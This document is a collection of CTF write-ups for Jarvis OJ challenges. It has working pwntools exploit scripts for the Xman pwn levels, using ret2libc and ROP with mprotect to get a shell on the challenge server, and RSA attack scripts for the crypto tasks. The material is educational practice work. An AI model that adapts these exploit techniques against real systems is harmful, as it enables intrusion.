We are not given any libc file this time, but that’s not a problem. We can always query the leaked address from libc database and figure out the libc version. Even better, we can use LibcSearcher to automate this lookup. But LibcSearcher isn’t working properly for this binary, so we have to do it the manual way (or you can try DynELF).

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="i386", os="linux")

elf = ELF("level4", checksec=False)
local = False

if local:
  r = elf.process()
else:
  host = "pwn2.jarvisoj.com"
  port = 9880
  r = remote(host, port)

#--------ret2write--------#

offset = 140
write_plt = elf.plt["write"]
vulnerable_function = elf.sym["vulnerable_function"]
write_got = elf.got["write"]

payload = flat(
  b"A" * offset,
  write_plt,
  vulnerable_function, # ret addr for write
  1, write_got, 4, # args for write
)

r.sendline(payload)
write_leak = u32(r.read(4))
log.info(f"write_leak: {hex(write_leak)}") 
# the last 3 digits of write_got is 880

#--------libc database--------#

# libc version: libc6_2.19-18+deb8u10_i386
write_offset = 0x0c8880
libc_base = write_leak - write_offset

system_offset = 0x03de80
bin_sh_offset = 0x12dc51

#--------ret2system-------#

system = libc_base + system_offset
bin_sh = libc_base + bin_sh_offset

payload = flat(
  b"A" * offset,
  system,
  b"B" * 4, # ret addr for system
  bin_sh, # arg for system
)

r.sendline(payload)
r.interactive()

Xman Level 5

Challenge

level5

File

$ file level5 
level5: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=f01f8fd41061f9dafb9399e723eb52d249a9b34d, not stripped

Checksec

$ checksec level5 
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_5/level5'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Pseudocode

main:

int __cdecl main(int argc, const char **argv, const char **envp)
{
  vulnerable_function(argc, argv, envp);
  return write(1, "Hello, World!\n", 0xEuLL);
}

vulnerable:

ssize_t vulnerable_function()
{
  char buf; // [rsp+0h] [rbp-80h]

  write(1, "Input:\n", 7uLL);
  return read(0, &buf, 0x200uLL);
}

Analysis

In this challenge, system and execve are disabled and we are supposed to use mmap or mprotect. Using mprotect is the easier route. The exploit splits into three phases:

  1. Leak the address of write_got, calculate libc base address and then deduce the address of mprotect.
  2. Call mprotect to give the .bss segment rwx permission.
  3. Call read to start a stdin session and input our shellcode to the .bss segment. Set the return address of read to be the address of .bss segment so the shellcode gets triggered.

Phase 1 is exactly the same as level3_x64.

Phase 2 is something new. Here we want to call mprotect(void *addr, size_t len, int prot), where:

  • addr is the address of the buffer.
  • len is the length of the buffer. Say it is 0x1000, which is more than enough.
  • prot is the permission that we want that buffer to have, which is 7 = 0b111 = rwx in this case.

Phase 3 is a slightly advanced version of ret2shellcode. Here we want to call read(int fd, void *buf, size_t nbyte), where:

  • fd should be 0 since we want stdin.
  • buf is the address of the buffer. We will use elf.bss() here, which is the beginning of the .bss segment.
  • nbyte is the length of our input. Let’s say it’s 0x100, which is more than enough.

After read is called, we can input our shellcode from stdin. If the return address of read is set to be elf.bss(), the shellcode will be triggered and we would get a shell.

Script

#!/usr/bin/env python3
from pwn import *

#--------setup--------#

context(arch="amd64", os="linux")

elf = ELF("level5", checksec=False)
local = False

if local:
	libc = elf.libc
	r = elf.process()
else:
	libc = ELF("libc-2.19.so")
	host = "pwn2.jarvisoj.com"
	port = 9884
	r = remote(host, port)

#--------phase 1: ret2write--------#

offset = 136
write_plt = elf.plt["write"]
vulnerable_function = elf.sym["vulnerable_function"]
write_got = elf.got["write"]

# ROPgadget --binary level5 --only "pop|ret" | grep rdi
pop_rdi = 0x00000000004006b3
# ROPgadget --binary level5 --only "pop|ret" | grep rsi
pop_rsi_pop_r15 = 0x00000000004006b1

payload = flat(
	b"A" * offset,
	pop_rdi, 1,
	pop_rsi_pop_r15, write_got, 1337,
	write_plt, # call write(1, write_got, [rdx])
	vulnerable_function, # ret addr for write
)

r.sendlineafter("Input:\n", payload)
write_leak = u64(r.read(6).ljust(8, b"\x00"))
write_offset = libc.sym["write"]
libc.address = write_leak - write_offset

log.info(f"write_leak: {hex(write_leak)}")
log.info(f"write_offset: {hex(write_offset)}")
log.info(f"libc.address: {hex(libc.address)}")

#--------phase 2: mprotect--------#

# $ man 2 mprotect:
# mprotect(void *addr, size_t len, int prot)
# mprotect() changes the access protections for the calling process's memory 
# pages containing any part of the address range in the interval 
# [addr, addr+len-1]. addr must be aligned to a page boundary.

mprotect = libc.sym["mprotect"]
# The address of mproject is auto adjusted
# since libc.address was set. Also, since we 
# know the libc base address, we can use
# gadgets from libc from now on.

# ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rsi
pop_rsi = libc.address + 0x0000000000024885
# ROPgadget --binary libc-2.19.so --only "pop|ret" | grep rdx
pop_rdx = libc.address + 0x0000000000000286

log.info(f"elf.bss(): {hex(elf.bss())}") 
# We have elf.bss() = 0x600a88.
# Note that the first argument of mprotect
# must be an integer multiple of page size.
# $ getconf PAGE_SIZE
# 4096
# Hence addr = k * 0x1000, so we can pick
# addr = 0x600000

payload = flat(
	b"A" * offset,
	pop_rdi, 0x600000, # addr
	pop_rsi, 0x1000, # len
	pop_rdx, 7, # prot (7 = 0b111 = rwx)
	mprotect, # call mprotect(0x600000, 0x1000, 7)
	vulnerable_function, # ret addr for mprotect
)

r.sendlineafter("Input:\n", payload)

#--------phase 3: ret2shellcode-------#

read = elf.plt["read"]
shellcode = asm(shellcraft.sh())

payload = flat(
	b"A" * offset,
	pop_rdi, 0, # fd (0 = stdin)
	pop_rsi, elf.bss(), # buf
	pop_rdx, 0x100, # nbyte
	read, # call read(0, elf.bss(), 0x100)
	elf.bss(), # ret addr for read
)

r.sendlineafter("Input:\n", payload)
r.sendline(shellcode) # the stdin session vulnerable_functioned by read function
r.interactive()

Xman Level 6

Challenge

File

$ file freenote_x86 
freenote_x86: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=94288f83ffe1e82c41edda5e60657f869f2580c2, stripped

Checksec

$ checksec freenote_x86 
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_6/freenote_x86'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

Script

Todo!!

Xman Level 6 x64

Challenge

File

$ file freenote_x64 
freenote_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=dd259bb085b3a4aeb393ec5ef4f09e312555a64d, stripped

Checksec

$ checksec freenote_x64 
[*] '/root/Dropbox/Wargame/Jarvis_OJ/Pwn/Xman_Level_6_x64/freenote_x64'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

Script

Todo!!

Jarvis OJ Crypto XMan 2019 Writeup

  1. xbase64
  2. xcaesar
  3. xyf
  4. xbk
  5. xgm
  6. xfz

xbase64

Challenge

xbase64

Script

The base64_table for encoding is shifted by 1 and then reversed. Simply write down the correct table and look up by index:

#!/usr/bin/env python3
from base64 import b64decode

fake_base64_table = ['=','A', 'B', 'C', 'D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
                'a', 'b', 'c', 'd','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
                '0', '1', '2', '3','4','5','6','7','8','9',
                '+', '/'][::-1]

real_base64_table = ['A', 'B', 'C', 'D','E','F','G','H','I','J','K','L','M','N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
                'a', 'b', 'c', 'd','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z',
                '0', '1', '2', '3','4','5','6','7','8','9',
                '+', '/', '=']

c = "mZOemISXmpOTkKCHkp6Rgv=="

m = ""
for ch in c:
    m += real_base64_table[fake_base64_table.index(ch)]

flag = b64decode(m).decode()

print(flag)

xcaesar

Challenge

xcaesar

Source Code

def caesar_encrypt(m,k):
    r=""
    for i in m:
        r+=chr((ord(i)+k)%128)
    return r

from secret import m,k
print caesar_encrypt(m,k).encode("base64")

#output:bXNobgJyaHB6aHRwdGgE

Script

Brute forcing all 128 possible k:

#!/usr/bin/env python3
from base64 import b64decode

# def caesar_encrypt(m,k):
#     r= ""
#     for i in m:
#         r += chr((ord(i) + k) % 128)
#     return r

def caesar_decrypt(c):
    c = b64decode(c).decode()
    for k in range(128):
        m = ""
        for ch in c:
            m += chr((ord(ch) + k) % 128)
        print(m)
        
c = "bXNobgJyaHB6aHRwdGgE"
caesar_decrypt(c)

xyf

Challenge

xyf

Script

The factors of N can be queried using factordb-python:

#!/usr/bin/env python3
from Crypto.Util.number import inverse, long_to_bytes
from factordb.factordb import FactorDB

#--------data--------#

N = 3161262255255421133292506694323988711204792818702640666084331634444148712428915950639954540974469931426618702044672318134908678730641981414037034058320359158246813987154679178159391832232990193738454116371045928434239936027006539348488316754611586659587677659791620481200732564068367148541242426533823626586574915275209508300120574819113851895932912208783915652764568319771482309338434364094681579135086703127977870534715039005822312878739611630155714313119545610939253355808742646891815442758660278514976431521933763272615653261044607041876212998883732724662410197038419721773290601109065965674129599626151139566369
e = 65537
c = 631583911592660652215412683088688785438938386403323323131247534561958531288570612134139288090533619548876156447498627938626419617968918299212863936839701943643735437264304062828205809984533592547599060829451668240569384130130080928292082888526567902695707215660020201392640388518379063244487204881439591813398495285025704285781072987024698133147354238702861803146548057736756003294248791827782280722670457157385205787259979804892966529536902959813675537028879407802365439024711942091123058305460856676910458268097798532901040050506906141547909766093323197363034959926900440420805768716029052885452560625308314284406

#--------factordb--------#

f = FactorDB(N)
f.connect()
factors = f.get_factor_list()

#--------rsa--------#

phi = 1
for factor in factors:
    phi *= factor - 1

d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()

print(flag)

xbk

Challenge

xbk

Script

Since e = 3, we can brute force all possible c + k * N (k is natural number) until we find a perfect cube. Then The cubic root of c + k * N is exactly the plaintext m. Then the cubic root of c + k * N is exactly the plaintext m.

#!/usr/bin/env python3
from Crypto.Util.number import inverse, long_to_bytes
from sympy import integer_nthroot

#--------data--------#

N = 47966708183289639962501363163761864399454241691014467172805658518368423135168025285144721028476297179341434450931955275325060173656301959484440112740411109153032840150659
e = 3
c = 10968126341413081941567552025256642365567988931403833266852196599058668508079150528128483441934584299102782386592369069626088211004467782012298322278772376088171342152839

#--------brute force--------#

while True:
    # example: integer_nthroot(16, 2) -> (4, True)
    # note that the True or False here is boolean value
    result = integer_nthroot(c, 3)
    if result[1]:
        m = result[0]
        break
    c += N

flag = long_to_bytes(m).decode()

print(flag)

xgm

Challenge

xgm

Script

Note that the same modulus N is used twice for encrypting the same plaintext m, also e1 and e2 are coprime, so we are able to perform a common modulus attack:

#!/usr/bin/env python3
from Crypto.Util.number import long_to_bytes
from sympy import gcdex
from sys import exit

#--------data--------#

N = 21660190931013270559487983141966347279666044468572000325628282578595119101840917794617733535995976710097702806131277006786522442555607842485975616689297559583352413160087163656851019769465637856967511819803473940154712516380580146620018921406354668604523723340895843009899397618067679200188650754096242296166060735958270930743173912010852467114047301529983496669250671342730804149428700280401481421735184899965468191802844285699985370238528163505674350380528600143880619512293622576854525700785474101747293316814980311297382429844950643977825771268757304088259531258222093667847468898823367251824316888563269155865061

e1 = 65537
c1 = 11623242520063564721509699039034210329314238234068836130756457335142671659158578379060500554276831657322012285562047706736377103534543565179660863796496071187533860896148153856845638989384429658963134915230898572173720454271369543435708994457280819363318783413033774014447450648051500214508699056865320506104733203716242071136228269326451412159760818676814129428252523248822316633339393821052614033884661649376604245744651142959498917235138077366818109892738298251161767344501687113868331134288984466294415889635863660753717476594011236542159800099371872396181448655448842148998667568104710807411358117939831241620315

e2 = 70001
c2 = 8180690717251057689732022736872836938270075717486355807317876695012318283159440935866297644561407238807004565510263413544530421072353735781284166685919420305808123063907272925594909852212249704923889776430284878600408776341129645414000647100303326242514023325498519509077311907161849407990649396330146146728447312754091670139159346316264091798623764434932753276554781692238428057951593104821823029665203821775755835076337570281155689527215367647821372680421305939449511621244288104229290161484649056505784641486376741409443450331991557221540050574024894427139331416236263783977068315294198184169154352536388685040531

#--------common modulus--------#

r, s, gcd = gcdex(e1, e2)
r = int(r)
s = int(s)

# test if e1 and e2 are coprime
if gcd != 1:
    print("e1 and e2 must be coprime")
    exit()

m = (pow(c1, r, N) * pow(c2, s, N)) % N
flag = long_to_bytes(m).decode()

print(flag)

To read more on common modulus attack, check out CTF-Wiki.

xfz

Challenge

Todo!!

Jarvis OJ Crypto RSA Writeup

  1. veryeasyRSA
  2. Easy RSA
  3. Medium RSA
  4. hard RSA
  5. very hard RSA
  6. Extremely hard RSA
  7. God Like RSA

veryeasyRSA

Script

#!/usr/bin/env python3
from Crypto.Util.number import inverse

#--------data--------#

p = 3487583947589437589237958723892346254777 
q = 8767867843568934765983476584376578389
e = 65537

#--------find d--------#

phi = (p - 1) * (q - 1)
d = inverse(e, phi)

print(d)

Easy RSA

Script

#!/usr/bin/env python3
from Crypto.Util.number import inverse, long_to_bytes
from factordb.factordb import FactorDB

#--------data--------#

N = 322831561921859
e = 23
c = 0xdc2eeeb2782c

#--------factordb--------#

f = FactorDB(N)
f.connect()
factors = f.get_factor_list()

#--------rsa--------#

phi = 1
for factor in factors:
    phi *= factor - 1

d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m).decode()

print(flag)

Medium RSA

Script

#!/usr/bin/env python3
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long
from Crypto.PublicKey import RSA
from factordb.factordb import FactorDB

#--------data--------#

with open("pubkey.pem","r") as f1, open("flag.enc", "rb") as f2:
    key = RSA.import_key(f1.read())
    N = key.n
    e = key.e
    c = bytes_to_long(f2.read())
    # print(N)
    # print(e)
    # print(c)

#--------factordb--------#

f = FactorDB(N)
f.connect()
factors = f.get_factor_list()

#--------rsa--------#

phi = 1
for factor in factors:
    phi *= factor - 1

d = inverse(e, phi)
m = pow(c, d, N)
flag = long_to_bytes(m)

print(flag)

hard RSA

We got e = 2 in this challenge. There are two possibilities here:

  1. The message is much smaller than the modulus, so we can simply compute m = sympy.root(c, 2).
  2. This is a Rabin cryptosystem.

This challenge falls into category 2.

Rabin

#!/usr/bin/env python3
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long
from Crypto.PublicKey import RSA
from factordb.factordb import FactorDB

#--------data--------#

with open("pubkey.pem","r") as f1, open("flag.enc", "rb") as f2:
    key = RSA.import_key(f1.read())
    N = key.n
    e = key.e
    c = bytes_to_long(f2.read())
    # print(f"N: {N}")
    # print(f"e: {e}")
    # print(f"c: {c}")

#--------factordb--------#

f = FactorDB(N)
f.connect()
factors = f.get_factor_list()

p = factors[0]
q = factors[1]

#--------rabin--------#

inv_p = inverse(p, q)
inv_q = inverse(q, p)

m_p = pow(c, (p + 1) // 4, p)
m_q = pow(c, (q + 1) // 4, q)

a = (inv_p * p * m_q + inv_q * q * m_p) % N
b = N - int(a)
c = (inv_p * p * m_q - inv_q * q * m_p) % N
d = N - int(c)

plaintext_list = [a, b, c, d]

for plaintext in plaintext_list:
    s = str(hex(plaintext))[2:]

    # padding with 0
    if len(s) % 2 != 0:
        s = "0" + s
    print(bytes.fromhex(s))

very hard RSA

Here is the source code:

#!/usr/bin/env python

import random

N = 0x00b0bee5e3e9e5a7e8d00b493355c618fc8c7d7d03b82e409951c182f398dee3104580e7ba70d383ae5311475656e8a964d380cb157f48c951adfa65db0b122ca40e42fa709189b719a4f0d746e2f6069baf11cebd650f14b93c977352fd13b1eea6d6e1da775502abff89d3a8b3615fd0db49b88a976bc20568489284e181f6f11e270891c8ef80017bad238e363039a458470f1749101bc29949d3a4f4038d463938851579c7525a69984f15b5667f34209b70eb261136947fa123e549dfff00601883afd936fe411e006e4e93d1a00b0fea541bbfc8c5186cb6220503a94b2413110d640c77ea54ba3220fc8f4cc6ce77151e29b3e06578c478bd1bebe04589ef9a197f6f806db8b3ecd826cad24f5324ccdec6e8fead2c2150068602c8dcdc59402ccac9424b790048ccdd9327068095efa010b7f196c74ba8c37b128f9e1411751633f78b7b9e56f71f77a1b4daad3fc54b5e7ef935d9a72fb176759765522b4bbc02e314d5c06b64d5054b7b096c601236e6ccf45b5e611c805d335dbab0c35d226cc208d8ce4736ba39a0354426fae006c7fe52d5267dcfb9c3884f51fddfdf4a9794bcfe0e1557113749e6c8ef421dba263aff68739ce00ed80fd0022ef92d3488f76deb62bdef7bea6026f22a1d25aa2a92d124414a8021fe0c174b9803e6bb5fad75e186a946a17280770f1243f4387446ccceb2222a965cc30b3929L

def pad_even(x):
    return ('', '0')[len(x)%2] + x

e1 = 17
e2 = 65537


fi = open('flag.txt','rb')
fo1 = open('flag.enc1','wb')
fo2 = open('flag.enc2','wb')


data = fi.read()
fi.close()

while (len(data)<512-11):
    data  =  chr(random.randint(0,255))+data

data_num = int(data.encode('hex'),16)

encrypt1 = pow(data_num,e1,N)
encrypt2 = pow(data_num,e2,N)


fo1.write(pad_even(format(encrypt1,'x')).decode('hex'))
fo2.write(pad_even(format(encrypt2,'x')).decode('hex'))

fo1.close()
fo2.close()

Take a look at this part:

encrypt1 = pow(data_num,e1,N)
encrypt2 = pow(data_num,e2,N)

Note that same modulus N is used twice. Moreover, e1 and e2 are coprime, so this challenge falls into the “common modulus attack” category.

Common Modulus

#!/usr/bin/env python3
from Crypto.Util.number import inverse, long_to_bytes, bytes_to_long
from Crypto.PublicKey import RSA
from sympy import gcdex
from sys import exit

#--------data--------#

N = 0x00b0bee5e3e9e5a7e8d00b493355c618fc8c7d7d03b82e409951c182f398dee3104580e7ba70d383ae5311475656e8a964d380cb157f48c951adfa65db0b122ca40e42fa709189b719a4f0d746e2f6069baf11cebd650f14b93c977352fd13b1eea6d6e1da775502abff89d3a8b3615fd0db49b88a976bc20568489284e181f6f11e270891c8ef80017bad238e363039a458470f1749101bc29949d3a4f4038d463938851579c7525a69984f15b5667f34209b70eb261136947fa123e549dfff00601883afd936fe411e006e4e93d1a00b0fea541bbfc8c5186cb6220503a94b2413110d640c77ea54ba3220fc8f4cc6ce77151e29b3e06578c478bd1bebe04589ef9a197f6f806db8b3ecd826cad24f5324ccdec6e8fead2c2150068602c8dcdc59402ccac9424b790048ccdd9327068095efa010b7f196c74ba8c37b128f9e1411751633f78b7b9e56f71f77a1b4daad3fc54b5e7ef935d9a72fb176759765522b4bbc02e314d5c06b64d5054b7b096c601236e6ccf45b5e611c805d335dbab0c35d226cc208d8ce4736ba39a0354426fae006c7fe52d5267dcfb9c3884f51fddfdf4a9794bcfe0e1557113749e6c8ef421dba263aff68739ce00ed80fd0022ef92d3488f76deb62bdef7bea6026f22a1d25aa2a92d124414a8021fe0c174b9803e6bb5fad75e186a946a17280770f1243f4387446ccceb2222a965cc30b3929
e1 = 17
e2 = 65537

with open("flag.enc1","rb") as f1, open("flag.enc2", "rb") as f2:
    c1 = bytes_to_long(f1.read())
    c2 = bytes_to_long(f2.read())

#--------common modulus--------#

r, s, gcd = gcdex(e1, e2)
r = int(r)
s = int(s)

# test if e1 and e2 are coprime
if gcd != 1:
    print("e1 and e2 must be coprime")
    exit()

m = (pow(c1, r, N) * pow(c2, s, N)) % N
flag = long_to_bytes(m)

print(flag)

Extremely hard RSA

We have e = 3 this time. Since the public exponent is small, brute force attack is doable. We can try all possible c + i * N until we find a perfect square. The cubic root of that c + i * N is exactly the plaintext m.

Brute Force

#!/usr/bin/env python3
from Crypto.Util.number import long_to_bytes, bytes_to_long
from Crypto.PublicKey import RSA
from sympy import integer_nthroot

#--------data--------#

with open("pubkey.pem","r") as f1, open("flag.enc", "rb") as f2:
    key = RSA.import_key(f1.read())
    N = key.n
    e = key.e
    c = bytes_to_long(f2.read())
    # print(f"N: {N}")
    # print(f"e: {e}")
    # print(f"c: {c}")

#--------brute force--------#

while True:
    c += N
    # example: integer_nthroot(16, 2) -> (4, True)
    # note that the True or False here is boolean value
    result = integer_nthroot(c, 3)
    if result[1]:
        m = result[0]
        break

flag = long_to_bytes(m).decode()

print(flag)

God Like RSA

Todo!